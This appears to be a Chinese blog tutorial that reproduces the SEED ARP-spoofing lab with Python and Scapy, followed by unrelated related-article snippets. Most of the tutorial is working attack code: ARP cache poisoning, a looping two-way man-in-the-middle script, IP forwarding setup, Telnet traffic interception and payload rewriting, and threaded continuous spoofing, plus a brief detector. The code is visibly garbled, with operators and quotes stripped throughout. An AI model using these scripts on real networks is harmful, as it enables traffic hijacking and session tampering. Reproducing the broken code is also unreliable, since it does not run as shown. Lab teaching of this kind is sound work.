当前位置: 首页 > article >正文

用Python和Scapy复现SEED实验:手把手教你搭建ARP欺骗攻击靶场(含完整代码)

从零构建ARP欺骗实验环境PythonScapy实战指南在虚拟化技术普及的今天搭建一个安全的网络攻防实验环境变得前所未有的简单。ARP欺骗作为局域网攻击的经典手段不仅是网络安全课程的必修内容更是理解二层网络通信原理的绝佳案例。不同于枯燥的理论讲解我们将通过Python和Scapy打造一个可交互的实验靶场让抽象的协议漏洞变得触手可及。1. 实验环境准备避坑指南1.1 虚拟机网络配置推荐使用VirtualBox或VMware创建三台虚拟机攻击机M、靶机A和B网络模式选择桥接模式或Host-Only网络。关键配置参数如下设备操作系统IP地址段必备工具MKali Linux10.9.0.1/24Python3、ScapyAUbuntu10.9.0.5/24Telnet客户端BUbuntu10.9.0.6/24Telnet服务端注意确保三台虚拟机MAC地址不冲突特别是克隆虚拟机时需重新生成MAC1.2 Python环境搭建在攻击机M上执行以下命令安装必要组件# 更新软件源 sudo apt update sudo apt upgrade -y # 安装Python3和pip sudo apt install python3 python3-pip -y # 安装Scapy网络库 pip3 install scapy验证安装是否成功from scapy.all import * conf.checkIPaddr False # 禁用IP地址检查2. ARP协议深度解析2.1 ARP报文结构解剖ARP报文由以太网帧头和ARP字段组成关键字段可通过Scapy查看 ls(ARP) hwtype : XShortField 1 # 硬件类型 ptype : XShortEnumField 2048 # 协议类型 hwlen : ByteField 6 # 硬件地址长度 plen : ByteField 4 # 协议地址长度 op : ShortEnumField 1 # 操作码1请求/2应答 hwsrc : ARPSourceMACField 00:00:00:00:00:00 psrc : SourceIPField 0.0.0.0 # 发送方IP hwdst : MACField 00:00:00:00:00:00 pdst : IPField 0.0.0.0 # 目标IP2.2 ARP缓存操作命令查看和清除ARP缓存的实用命令# 查看ARP缓存表 arp -n # 删除特定条目 arp -d 10.9.0.5 # 清空整个ARP缓存 ip -s -s neigh flush all3. ARP欺骗攻击实战3.1 基础欺骗单向ARP污染构造虚假ARP响应包使靶机A误认为攻击机M是合法设备Bfrom scapy.all import * def arp_spoof(target_ip, target_mac, spoof_ip): pkt Ether(dsttarget_mac)/ARP( op2, # ARP响应 pdsttarget_ip, hwdsttarget_mac, psrcspoof_ip ) sendp(pkt, verboseFalse) # 示例让10.9.0.5认为10.9.0.6的MAC是攻击机的MAC arp_spoof(10.9.0.5, 02:42:0a:09:00:05, 10.9.0.6)3.2 双向欺骗中间人攻击建立双向ARP欺骗实现流量劫持from time import sleep def mitm_attack(): while True: # 欺骗A认为B的MAC是M的MAC sendp(Ether(dst02:42:0a:09:00:05)/ARP( op2, pdst10.9.0.5, hwdst02:42:0a:09:00:05, psrc10.9.0.6 )) # 欺骗B认为A的MAC是M的MAC sendp(Ether(dst02:42:0a:09:00:06)/ARP( op2, pdst10.9.0.6, hwdst02:42:0a:09:00:06, psrc10.9.0.5 )) sleep(30) # 每30秒刷新一次 mitm_attack()3.3 流量转发配置启用IP转发功能使攻击机成为透明代理# Linux系统开启IP转发 echo 1 /proc/sys/net/ipv4/ip_forward # 验证转发状态 sysctl net.ipv4.ip_forward4. 高级攻击场景实现4.1 Telnet会话劫持在ARP欺骗基础上实现Telnet流量篡改from scapy.all import * def telnet_intercept(pkt): if pkt.haslayer(TCP) and pkt[TCP].dport 23: # 修改原始载荷 raw_load pkt[Raw].load modified_load raw_load.replace(bls, bid) # 示例替换命令 # 重建数据包 new_pkt IP(pkt[IP].payload) del new_pkt[TCP].payload del new_pkt[TCP].chksum del new_pkt[IP].chksum new_pkt new_pkt/Modified_Load send(new_pkt) # 启动嗅探器 sniff(filtertcp port 23, prntelnet_intercept)4.2 防御措施检测识别网络中的ARP欺骗行为from scapy.all import * def detect_arp_spoofing(): arp_table {} def process_packet(pkt): if ARP in pkt and pkt[ARP].op 2: # ARP响应 ip pkt[ARP].psrc mac pkt[ARP].hwsrc if ip in arp_table: if arp_table[ip] ! mac: print(f[!] ARP欺骗检测: {ip} 的MAC从 {arp_table[ip]} 变为 {mac}) else: arp_table[ip] mac sniff(prnprocess_packet, filterarp, store0) detect_arp_spoofing()5. 实验优化与问题排查5.1 常见错误解决方案虚拟机无法通信检查防火墙设置sudo ufw disableScapy发送失败尝试以root权限运行或设置capabilitiessudo setcap cap_net_raweip /usr/bin/python3ARP缓存不更新手动清除目标缓存arp -d [IP]5.2 性能优化技巧# 使用多线程持续发送ARP响应 from threading import Thread class ArpSpoofThread(Thread): def __init__(self, target_ip, target_mac, spoof_ip): super().__init__() self.target_ip target_ip self.target_mac target_mac self.spoof_ip spoof_ip def run(self): while True: sendp(ARP(op2, pdstself.target_ip, hwdstself.target_mac, psrcself.spoof_ip), verboseFalse) time.sleep(2) # 启动双向欺骗线程 t1 ArpSpoofThread(10.9.0.5, 02:42:0a:09:00:05, 10.9.0.6) t2 ArpSpoofThread(10.9.0.6, 02:42:0a:09:00:06, 10.9.0.5) t1.start() t2.start()在真实网络测试中建议使用专门的测试设备而非生产环境。某次实验中由于未及时更新ARP缓存导致攻击延迟生效后来发现是靶机系统默认缓存超时设置较长通过调整/proc/sys/net/ipv4/neigh/default/gc_stale_time解决了这个问题。

相关文章:

用Python和Scapy复现SEED实验:手把手教你搭建ARP欺骗攻击靶场(含完整代码)

从零构建ARP欺骗实验环境:PythonScapy实战指南 在虚拟化技术普及的今天,搭建一个安全的网络攻防实验环境变得前所未有的简单。ARP欺骗作为局域网攻击的经典手段,不仅是网络安全课程的必修内容,更是理解二层网络通信原理的绝佳案例…...

Windows Cleaner:3步解决C盘爆红问题的智能清理方案

Windows Cleaner:3步解决C盘爆红问题的智能清理方案 【免费下载链接】WindowsCleaner Windows Cleaner——专治C盘爆红及各种不服! 项目地址: https://gitcode.com/gh_mirrors/wi/WindowsCleaner 当Windows系统运行时间超过三个月,C盘…...

如何免费实现OBS多平台同步直播:obs-multi-rtmp完整指南

如何免费实现OBS多平台同步直播:obs-multi-rtmp完整指南 【免费下载链接】obs-multi-rtmp OBS複数サイト同時配信プラグイン 项目地址: https://gitcode.com/gh_mirrors/ob/obs-multi-rtmp 还在为每次直播只能选择一个平台而烦恼吗?想同时将精彩内…...

SAP OOALV隐藏按钮避坑指南:别再用`no_toolbar`了,这才是正确姿势

SAP OOALV工具栏控制实战:从粗暴隐藏到精准定制 刚接触SAP OOALV开发时,面对满屏的标准工具栏按钮,很多ABAP开发者第一反应就是直接关闭整个工具栏——这就像因为不喜欢客厅里的一盏灯而把整个电闸拉掉。is_layout-no_toolbar X确实能一键清…...

Windows Cleaner:3分钟解决C盘爆红问题的终极免费方案

Windows Cleaner:3分钟解决C盘爆红问题的终极免费方案 【免费下载链接】WindowsCleaner Windows Cleaner——专治C盘爆红及各种不服! 项目地址: https://gitcode.com/gh_mirrors/wi/WindowsCleaner 你的C盘又变红了吗?每次打开电脑都像…...

金三银四突击必备:Java架构六大核心专题面试宝典!

Java面试是一个老生常谈的问题。每年到了金三银四&金九银十这种跳槽黄金季就会有一大批程序员出来面试找工作。流程就是熟悉的网上开始找面试题,面试手册,面试宝典,一收藏就是一大把,看到什么都觉得Nice,看几眼之后…...

Simulink AUTOSAR建模:Constant Memory、Shared与Per-Instance Parameter到底怎么选?看生成代码就懂了

Simulink AUTOSAR建模实战:从代码生成角度解析Parameter类型选择 在AUTOSAR软件组件开发过程中,Parameter的配置选择往往让开发者陷入纠结——Constant Memory、Shared Parameter和Per-Instance Parameter究竟有什么区别?它们生成的代码有何不…...

这篇带你彻底拿捏Redis数据结构 !

Redis 为什么那么快?除了它是内存数据库,使得所有的操作都在内存上进行之外,还有一个重要因素,它实现的数据结构,使得我们对数据进行增删查改操作时,Redis 能高效的处理。因此,这次我们就来好好…...

CMake条件判断避坑指南:从‘23a EQUAL 23’的诡异结果说起

CMake条件判断避坑指南:从‘23a EQUAL 23’的诡异结果说起 在构建系统的世界里,CMake就像一位经验丰富但脾气古怪的老管家——它总能完成任务,但偶尔会以出人意料的方式执行您的指令。特别是当您开始深入使用条件判断时,那些看似简…...

Bootstrap自采样:用R语言从零模拟,搞懂这个统计‘黑魔法’到底在做什么

Bootstrap自采样:用R语言从零模拟,搞懂这个统计‘黑魔法’到底在做什么 想象一下,你手里只有一份小小的数据集,却要回答一个关键问题:这个统计量的估计到底有多可靠?传统方法可能因为样本量太小或分布假设不…...

Java水果电商平台JSP在线系统(SSM框架+MySQL源码)|IntelliJ IDEA/Eclse双兼容

温馨提示:文末有联系方式项目概述 本项目是一款基于Java语言开发的水果类垂直电商平台,采用JSP前端展示、后端整合SSM(Spring、SpringMVC、MyBatis)三大主流框架,实现用户注册登录、商品浏览、车管理、订单生成与支付模…...

手把手教你用‘国家中小学智慧教育平台’和‘学科网’资源,快速填充高中数学教资教案

高中数学教资教案设计:巧用智慧教育平台与学科网资源高效填充 站在教室讲台前的第一分钟,往往决定了整堂课的氛围走向。记得去年备考教资时,我盯着空白的教案模板发呆——明明掌握了教学理论,却总在"如何让导入更生动"、…...

避坑指南:搭建自己的GPS数据处理流水线,从原始观测值到最终坐标

GPS数据处理实战:从原始观测到高精度定位的完整流水线构建 在测绘工程、自动驾驶和地理信息系统等领域,GPS数据处理能力直接决定了最终成果的质量。与教科书式的理论讲解不同,本文将带您深入GPS数据处理的工程实践现场,揭示从原始…...

告别VoxelNet的3D卷积:PointPillars如何用2D卷积在KITTI上实现62Hz实时检测

PointPillars:用2D卷积重构3D点云检测的工业级解决方案 当激光雷达点云遇上实时自动驾驶感知需求,传统3D卷积架构的计算瓶颈成为难以逾越的技术鸿沟。2019年CVPR会议上亮相的PointPillars算法,以其62Hz的实时处理速度和超越融合方法的检测精度…...

零基础学AI,别急着跑代码:先看清这3个代价再动手

先说结论 零基础学AI的最大成本不是时间,而是方向选择错误导致的重复投入,比如过早追求深度学习而忽略机器学习基础。 实践环境搭建和数据处理往往比模型训练更耗时,免费资源如Colab有使用限制,本地部署需要硬件投入。 AI入门容…...

从‘一看就会,一考就废’到稳拿高分:我的离散数学复习避坑指南与思维重塑心得

从‘一看就会,一考就废’到稳拿高分:我的离散数学复习避坑指南与思维重塑心得 第一次翻开离散数学教材时,我被那些看似简单的符号和定义迷惑了——命题逻辑像脑筋急转弯,集合运算仿佛小学生内容,图论也不过是些线条和圆…...

数字阅读革命:fanqienovel-downloader如何重塑你的小说收藏体验

数字阅读革命:fanqienovel-downloader如何重塑你的小说收藏体验 【免费下载链接】fanqienovel-downloader 下载番茄小说 项目地址: https://gitcode.com/gh_mirrors/fa/fanqienovel-downloader 在信息爆炸的时代,我们每天消费着海量的数字内容&am…...

WeChatFerry微信机器人终极使用指南:5步打造智能聊天助手

WeChatFerry微信机器人终极使用指南:5步打造智能聊天助手 【免费下载链接】WeChatFerry 微信机器人,可接入DeepSeek、Gemini、ChatGPT、ChatGLM、讯飞星火、Tigerbot等大模型。微信 hook WeChat Robot Hook. 项目地址: https://gitcode.com/GitHub_Tre…...

手把手教你用SPL06-001气压计做室内高度计(附Arduino完整代码)

从气压到高度:用SPL06-001打造高精度室内高度计 气压传感器在现代创客项目中扮演着越来越重要的角色,而SPL06-001作为一款高精度数字气压计,其测量精度可达0.06hPa,相当于约0.5米的高度变化。这个精度足以检测你从客厅走到阁楼时的…...

23-Java 构造函数

Java 构造函数 在本教程中,您将在示例的帮助下了解Java构造函数,如何创建和使用它们以及不同类型的构造函数。 什么是构造函数? 在Java中,每个类都有它的构造函数,当类的对象被创建时,该构造函数将被自动…...

Figma中文插件:让英文界面瞬间变中文,设计师的必备效率神器

Figma中文插件:让英文界面瞬间变中文,设计师的必备效率神器 【免费下载链接】figmaCN 中文 Figma 插件,设计师人工翻译校验 项目地址: https://gitcode.com/gh_mirrors/fi/figmaCN 你是否曾在Figma的英文界面中迷失方向?菜…...

IgH EtherCAT 从入门到精通:第 17 章 FakeEtherCAT 仿真与测试

第 17 章 FakeEtherCAT 仿真与测试 导读摘要:libfakeethercat 是 IgH EtherCAT Master 提供的仿真库,它实现了与 libethercat 完全相同的 API,但不需要真实的 EtherCAT 主站或从站硬件。本章将讲解如何使用 FakeEtherCAT 进行无硬件开发、从站模拟以及 CI/CD 自动化测试。 1…...

别再只会npm install了!解决Vue中sass-loader报错的完整版本管理指南

从根源解决Vue项目中的sass-loader版本陷阱:一份工程师的版本管理实战手册 当你兴致勃勃地启动一个新Vue项目,或是准备为现有项目添加Sass支持时,突然遭遇this.getOptions is not a function这样的报错,那种感觉就像在高速公路上突…...

Hackaday.io硬件开源平台全解析

1. Hackaday.io项目概述Hackaday.io是一个面向硬件黑客、创客和工程师的开源项目分享平台。作为Hackaday网站的官方项目托管平台,它汇集了全球各地极客们的创意与实践。在这里,你可以找到从3D打印机器人到自制电子显微镜等各种令人惊叹的项目。提示&…...

华为Pura 90系列发布:2亿智拍+XMAGE智拍,色彩准确度提升43%,4月29日开售

华为Pura 90系列:开启2亿智拍新时代4月20日,华为正式发布新一代2亿智拍旗舰——HUAWEI Pura 90系列。该系列兼具智慧影像与情绪美学双重突破,以软硬芯AI完美融合,带来“懂你更出片”的创作体验。情绪色彩美学与光影互动体验HUAWEI…...

用Python从零实现地震波合成:手把手教你用NumPy和Matplotlib搞定褶积模型

用Python从零实现地震波合成:手把手教你用NumPy和Matplotlib搞定褶积模型 地震勘探是地球物理研究的重要手段,而合成地震记录则是理解地震波传播特性的关键工具。本文将带你用Python从头构建一个完整的地震波合成系统,通过代码实现反射系数计…...

【限时开源】边缘Docker部署Checklist v3.2(含NVIDIA Jetson/树莓派/国产RK3588适配矩阵)

第一章:边缘Docker部署的核心挑战与演进趋势在资源受限、网络不稳、物理分散的边缘环境中,Docker 容器的部署远非云中心场景的简单平移。轻量化运行时、离线就绪能力、安全可信启动、异构硬件适配以及生命周期自治性,共同构成了边缘容器落地的…...

Origin数据清洗实战:从杂乱原始数据到整洁可绘图数据的完整流程

Origin数据清洗实战:从杂乱原始数据到整洁可绘图数据的完整流程 科研数据处理的第一步往往不是激动人心的图表绘制,而是面对一堆杂乱无章的原始数据时的茫然无措。想象一下这样的场景:你刚完成实验,仪器导出的Excel表格里混杂着测…...

容器资源“黑盒”时代终结:Docker 27原生支持27项实时指标导出,立即启用这6个--metrics-xxx参数!

第一章:Docker 27资源监控增强的演进与意义Docker 27 引入了对容器运行时资源监控能力的系统性升级,核心聚焦于更细粒度、更低开销、更高实时性的指标采集与暴露机制。这一演进并非孤立功能叠加,而是围绕 cgroups v2 统一接口深度适配&#x…...

WinBin2Iso:轻松转换bin文件到ISO格式,解决光盘映像兼容难题

你是否曾经下载了一个后缀为.bin和.cue的光盘映像文件,想用虚拟光驱加载或刻录到光盘,却发现大部分软件只支持ISO格式?你是否尝试过直接修改后缀名,结果文件无法识别?或者你找到了一个转换工具,但操作复杂、…...